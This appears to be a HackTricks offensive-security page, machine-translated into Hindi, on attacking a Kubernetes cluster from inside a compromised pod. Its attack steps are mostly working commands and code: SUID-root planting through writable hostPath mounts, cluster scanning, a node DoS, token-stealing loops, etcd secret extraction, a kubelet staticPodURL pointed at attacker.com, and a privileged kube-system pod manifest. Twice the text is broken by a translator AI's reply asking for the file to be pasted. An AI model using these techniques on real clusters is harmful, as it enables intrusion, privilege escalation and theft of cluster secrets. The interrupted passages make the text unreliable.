Pod के अंदर से Kubernetes पर हमला

Reading time: 19 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Pod Breakout

यदि आप काफी भाग्यशाली हैं तो आप इससे node तक भाग सकते हैं:

pod से बाहर निकलना

pods से बाहर निकलने की कोशिश करने के लिए आपको पहले escalate privileges करना पड़ सकता है, इसे करने की कुछ तकनीकें:

Linux Privilege Escalation - HackTricks

आप इस docker breakouts to try to escape को देख सकते हैं जो एक compromised pod से बाहर निकलने के लिए है:

Docker Breakout / Privilege Escalation - HackTricks

लिखने योग्य hostPath/bind mounts का दुरुपयोग (container -> host root via SUID planting)

यदि कोई compromised pod/container में ऐसा writable volume मौजूद है जो सीधे host filesystem (Kubernetes hostPath या Docker bind mount) से map होता है, और आप container के अंदर root बन सकते हैं, तो आप उस mount का उपयोग करके host पर एक setuid-root binary बना सकते हैं और फिर host से उसे execute करके root हासिल कर सकते हैं।

मुख्य शर्तें:

  • माउंट किया गया volume container के अंदर से writable होना चाहिए (readOnly: false और filesystem permissions write की अनुमति देते हों)।
  • Mount के पीछे वाला host filesystem nosuid option के साथ mounted नहीं होना चाहिए।
  • आपके पास host पर planted binary को execute करने का कोई तरीका होना चाहिए (उदाहरण के लिए, host पर अलग SSH/RCE, host का कोई user उसे execute कर सकता हो, या कोई और vector जो उस path से binaries चलाता हो)।

कैसे पहचानें writable hostPath/bind mounts:

  • kubectl के साथ, hostPath volumes चेक करें: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}'
  • container के अंदर से, mounts लिस्ट करें और host-path mounts ढूंढें और उनकी writability टेस्ट करें:
bash
# Inside the compromised container
mount | column -t
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
findmnt -T / 2>/dev/null | sed -n '1,200p'
# Test if a specific mount path is writable
TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
# Quick practical test
printf "ping\n" > "$TEST_DIR/.w"

container से एक setuid root binary डालें:

bash
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
cp /bin/bash "$MOUNT/suidbash"
chmod 6777 "$MOUNT/suidbash"
ls -l "$MOUNT/suidbash"
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash

root पाने के लिए host पर Execute करें:

bash
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
# Example host path: /opt/limesurvey/suidbash
ls -l /opt/limesurvey/suidbash
/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash

Notes and troubleshooting:

  • यदि host mount में nosuid है, तो setuid bits को अनदेखा कर दिया जाएगा। होस्ट पर mount विकल्पों की जाँच करें (cat /proc/mounts | grep ) और nosuid देखें।
  • यदि आप host execution path हासिल नहीं कर पाते हैं, तो समान writable mounts का दुरुपयोग करके host पर अन्य persistence/priv-esc artifacts लिखे जा सकते हैं अगर mapped directory security-critical हो (उदा., यदि mount /root/.ssh में map करता है तो root SSH key जोड़ना, यदि /etc में map करता है तो cron/systemd unit गिराना, host द्वारा execute किए जाने वाले PATH में root-owned binary को replace करना, आदि)। इसकी feasibility पूरी तरह इस बात पर निर्भर करती है कि कौन सा path mount किया गया है।
  • यह technique plain Docker bind mounts के साथ भी काम करता है; Kubernetes में यह आमतौर पर hostPath volume (readOnly: false) या गलत तरीके से scoped subPath होता है।

Abusing Kubernetes Privileges

जैसा कि सेक्शन के बारे में समझाया गया है kubernetes enumeration:

Kubernetes Enumeration

आमतौर पर pods के अंदर service account token के साथ चलाए जाते हैं। इस service account पर कुछ privileges attached to it हो सकते हैं जिन्हें आप abuse करके अन्य pods में move कर सकते हैं या यहाँ तक कि cluster के अंदर configured nodes पर escape कर सकते हैं। किस तरह, देखें:

Abusing Roles/ClusterRoles in Kubernetes

Abusing Cloud Privileges

If the pod is run inside a cloud environment you might be able to leak a token from the metadata endpoint and escalate privileges using it.

कमजोर नेटवर्क सेवाओं की खोज

As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should संभावित कमजोर सेवाओं की खोज करें।

Services

इस उद्देश्य के लिए, आप kubernetes environment की सभी services प्राप्त करने की कोशिश कर सकते हैं:

kubectl get svc --all-namespaces

डिफ़ॉल्ट रूप से, Kubernetes एक फ्लैट नेटवर्किंग स्कीमा उपयोग करता है, जिसका मतलब है क्लस्टर के भीतर कोई भी pod/service एक-दूसरे से बात कर सकता है। क्लस्टर के भीतर की namespaces पर डिफ़ॉल्ट रूप से कोई नेटवर्क सुरक्षा प्रतिबंध नहीं होते। namespace के अंदर कोई भी व्यक्ति अन्य namespaces से बातचीत कर सकता है।

Scanning

निम्न Bash स्क्रिप्ट (एक Kubernetes workshop से ली गई) kubernetes क्लस्टर के IP रेंज को install और scan करेगी:

bash
sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

Sniffing

यदि compromised pod is running some sensitive service और अन्य pods को authenticate करना पड़ता है, तो आप अन्य pods द्वारा भेजे गए क्रेडेंशियल्स sniffing local communications करके प्राप्त कर सकते हैं।

Network Spoofing

डिफ़ॉल्ट रूप से तकनीकें जैसे ARP spoofing (और इसके कारण DNS Spoofing) Kubernetes network में काम करती हैं। फिर, एक pod के अंदर, यदि आपके पास NET_RAW capability (जो डिफ़ॉल्ट रूप से मौजूद होती है) है, तो आप custom crafted network packets भेज पाएँगे और MitM attacks via ARP Spoofing to all the pods running in the same node. कर सकते हैं।
इसके अलावा, यदि malicious pod same node as the DNS Server पर चल रहा है, तो आप क्लस्टर के सभी pods के लिए DNS Spoofing attack to all the pods in cluster कर सकेंगे।

Kubernetes Network Attacks

Node DoS

Kubernetes manifests में resources का कोई specification नहीं है और containers के लिए not applied limit ranges मौजूद हैं। एक attacker के रूप में, हम consume all the resources where the pod/deployment running कर सकते हैं और अन्य resources को भूखा रखकर पूरे environment के लिए DoS पैदा कर सकते हैं।

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

आप stress-ng चलाते समय और उसके बाद के बीच का अंतर देख सकते हैं

bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Post-Exploitation

यदि आप escape from the container करने में सफल रहे हैं, तो node में आपको कुछ दिलचस्प चीज़ें मिलेंगी:

  • यह Container Runtime process (Docker)
  • node में और भी चल रहे pods/containers हैं जिन्हें आप इस तरह दुरुपयोग कर सकते हैं (more tokens)
  • पूरी filesystem और सामान्यतः OS
  • Kube-Proxy service सुन रही है
  • Kubelet service सुन रही है। config files जांचें:
  • Directory: /var/lib/kubelet/
  • /var/lib/kubelet/kubeconfig
  • /var/lib/kubelet/kubelet.conf
  • /var/lib/kubelet/config.yaml
  • /var/lib/kubelet/kubeadm-flags.env
  • /etc/kubernetes/kubelet-kubeconfig
  • /etc/kubernetes/admin.conf --> kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system
  • अन्य kubernetes common files:
  • $HOME/.kube/config - उपयोगकर्ता कॉन्फ़िग
  • /etc/kubernetes/kubelet.conf- नियमित कॉन्फ़िग
  • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap कॉन्फ़िग
  • /etc/kubernetes/manifests/etcd.yaml - etcd कॉन्फ़िगरेशन
  • /etc/kubernetes/pki - Kubernetes कुंजी

Find node kubeconfig

यदि आप पहले बताए गए पाथ्स में kubeconfig फ़ाइल नहीं ढूँढ पा रहे हैं, तो kubelet प्रोसेस के --kubeconfig argument की जाँच करें:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

गुप्त जानकारी चुराना

bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

यह स्क्रिप्ट can-they.sh स्वतः ही अन्य pods के tokens प्राप्त करके और यह जाँच करेगी कि उनके पास वह permission है जो आप ढूँढ रहे हैं (एक-एक करके देखने की बजाय):

bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

विशेषाधिकार प्राप्त DaemonSets

A DaemonSet एक pod है जो क्लस्टर के सभी nodes में run होता है। इसलिए, अगर किसी DaemonSet को एक privileged service account के साथ configure किया गया है, तो ALL the nodes में आपको उस privileged service account का token मिल जाएगा जिसे आप abuse कर सकते हैं।

Cloud में Pivot

यदि cluster किसी cloud service द्वारा managed है, तो आम तौर पर Node का metadata endpoint तक access Pod से अलग होता है। इसलिए node से metadata endpoint को access करने की कोशिश करें (या hostNetwork True वाले pod से):

Kubernetes Pivoting to Clouds

etcd चोरी करें

यदि आप उस nodeName को specify कर सकते हैं जो container चलाएगा, तो control-plane node के अंदर shell लेकर etcd database प्राप्त करें:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane नोड्स का role master होता है और cloud managed clusters you won't be able to run anything in them

Read secrets from etcd 1

यदि आप pod spec में nodeName selector का उपयोग करके अपना pod किसी control-plane नोड पर चला सकते हैं, तो आपको etcd database तक आसान पहुंच मिल सकती है, जिसमें क्लस्टर की सारी configuration, सहित सभी secrets होते हैं।

नीचे एक त्वरित और असहज तरीका दिया गया है जिससे आप उस etcd से secrets निकाल सकते हैं जो आपके control-plane नोड पर चल रहा हो। यदि आप एक अधिक सुरुचिपूर्ण समाधान चाहते हैं जो etcd client utility etcdctl के साथ एक pod स्पिन अप करता है और control-plane नोड के credentials का उपयोग करके etcd से जहाँ भी वह चल रहा हो कनेक्ट करता है, तो @mauilion का this example manifest देखें।

Check to see if etcd is running on the control-plane node and see where the database is (This is on a kubeadm created cluster)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

I don't have the contents of src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Please paste the markdown text you want translated to Hindi, and I'll translate it per your instructions.

bash
data-dir=/var/lib/etcd

etcd डेटाबेस में डेटा देखें:

bash
strings /var/lib/etcd/member/snap/db | less

डेटाबेस से tokens निकालें और service account का नाम दिखाएँ

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

वही command, लेकिन कुछ greps ताकि केवल kube-system namespace में default token वापस मिले

bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

I don't have the file contents. कृपया src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md की Markdown सामग्री यहाँ पेस्ट करें — मैं इसे दिए गए निर्देशों के अनुसार HTML/Markdown टैग और कोड न छेड़ते हुए हिंदी में अनुवाद कर दूँगा।

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Read secrets from etcd 2 from here

  1. etcd database का snapshot बनाएं। अधिक जानकारी के लिए this script देखें।
  2. अपनी पसंदीदा विधि से नोड से etcd snapshot को बाहर ट्रांसफर करें।
  3. डेटाबेस को अनपैक करें:
bash
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
  1. अपने लोकल मशीन पर etcd शुरू करें और इसे चोरी किए गए snapshot का उपयोग करने के लिए सेट करें:
bash
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'

  1. सभी secrets सूचीबद्ध करें:
bash
etcdctl get "" --prefix --keys-only | grep secret
  1. secfrets प्राप्त करें:
bash
etcdctl get /registry/secrets/default/my-secret

Static/Mirrored Pods की स्थिरता

Static Pods को kubelet daemon द्वारा किसी specific node पर सीधे manage किया जाता है, बिना API server के उन्हें observe किए। Control plane द्वारा manage किए जाने वाले Pods (उदाहरण के लिए, एक Deployment) के विपरीत, kubelet प्रत्येक static Pod की निगरानी करता है (और यदि वह fail हो तो उसे restart कर देता है)।

इसलिए, static Pods हमेशा एक specific node पर एक ही Kubelet से बंधे होते हैं।

kubelet स्वचालित रूप से प्रत्येक static Pod के लिए Kubernetes API server पर एक mirror Pod बनाने की कोशिश करता है। इसका मतलब यह है कि node पर चल रहे Pods API server पर दिखाई देते हैं, पर वहां से उन्हें नियंत्रित नहीं किया जा सकता। Pod के नामों के अंत में node hostname के साथ एक leading hyphen जोड़ा जाएगा।

caution

Static Pod का spec अन्य API objects का संदर्भ नहीं दे सकता (e.g., ServiceAccount, ConfigMap, Secret, आदि). तो आप इस व्यवहार का दुरुपयोग करके current node पर arbitrary serviceAccount के साथ pod लॉन्च करके cluster को compromise नहीं कर सकते। लेकिन आप इसका उपयोग pods को विभिन्न namespaces में चलाने के लिए कर सकते हैं (यदि किसी कारण से यह उपयोगी हो)।

यदि आप node host के अंदर हैं तो आप उसे अपने अंदर ही एक static pod बनाने के लिए प्रेरित कर सकते हैं। यह काफी उपयोगी हो सकता है क्योंकि इससे आप किसी अलग namespace जैसे kube-system में pod बना सकते हैं।

static pod बनाने के लिए, docs बहुत मददगार हैं. मूल रूप से आपको 2 चीज़ें चाहिए:

  • पैरामीटर --pod-manifest-path=/etc/kubernetes/manifests को kubelet service में, या kubelet config (staticPodPath) में कॉन्फ़िगर करें और service को restart करें
  • pod definition को /etc/kubernetes/manifests में बनाएं

एक और अधिक stealth तरीका होगा:

  • kubelet config file में पैरामीटर staticPodURL को modify करें और कुछ इस तरह सेट करें staticPodURL: http://attacker.com:8765/pod.yaml. इससे kubelet process उस indicated URL से configuration लेकर एक static pod बना देगा।

उदाहरण: kube-system में privilege pod बनाने के लिए pod configuration, यहाँ से लिया गया:

yaml
apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Delete pods + unschedulable nodes

यदि कोई हमलावर ने compromised a node कर लिया है और वह अन्य नोड्स से delete pods कर सकता है और अन्य नोड्स को make other nodes not able to execute pods बना सकता है, तो वे pods compromised node में पुनः चलाए जाएंगे और वह उनमें चल रहे टोकन को steal the tokens कर सकेगा.
For more info follow this links.

स्वचालित टूल्स

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें